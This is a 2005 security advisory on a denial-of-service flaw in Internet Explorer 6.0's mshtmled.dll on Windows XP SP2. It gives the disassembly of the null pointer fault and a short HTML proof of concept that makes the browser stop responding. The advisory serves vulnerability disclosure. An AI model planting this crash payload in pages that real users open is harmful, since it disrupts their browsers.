Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service


Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service


Release Date:
October 24, 2005


Date Reported:
August 14, 2005


Severity:
Medium


Vendor:
Microsoft


Versions Affected:
Internet Explorer 6.0 on Windows XP SP2


Overview:
A denial of service vulnerability exists within Internet Explorer 6.0 on XP SP2 with the J2SE Runtime Environment installed allows for an attacker to cause the browser to stop responding.


Technical Details:
The flaw is within mshtmled.dll (6.00.2900.2753 (xpsp_sp2_gdr.050902-1326) and prior versions) which Internet Explorer 6.0 uses for HTML editing. Below is a snippet from mshtmled.dll which is causing the problem. From what is looks like, this is just a null pointer issue.

.text:76235680 loc_76235680: ; CODE XREF: sub_762355EC+56j
.text:76235680 ; sub_762355EC+62j ...
.text:76235680 mov eax, [esi+8]
.text:76235683 lea ecx, [eax+10h]
.text:76235686 mov eax, [ecx] ; <(=--- oops
.text:76235688 call dword ptr [eax+0Ch]
.text:7623568B mov ecx, [eax]

The following code below will reproduce this issue. Please note that you must have J2SE Runtime Environment installed which is located here:


http://www.java.com/en/download/windows_automatic.jsp


FRAMESET >
FRAME SRC=AAAA >
EMBED NAME=SP STYLE= >
APPLET HSPACE=file:\\ >


Vendor Status:
Ask Microsoft


Discovered by:
Tom Ferris


Related Links:
http://security-protocols.com/poc/sp-x20.html


Copyright (c) 2005 Security-Protocols, LLC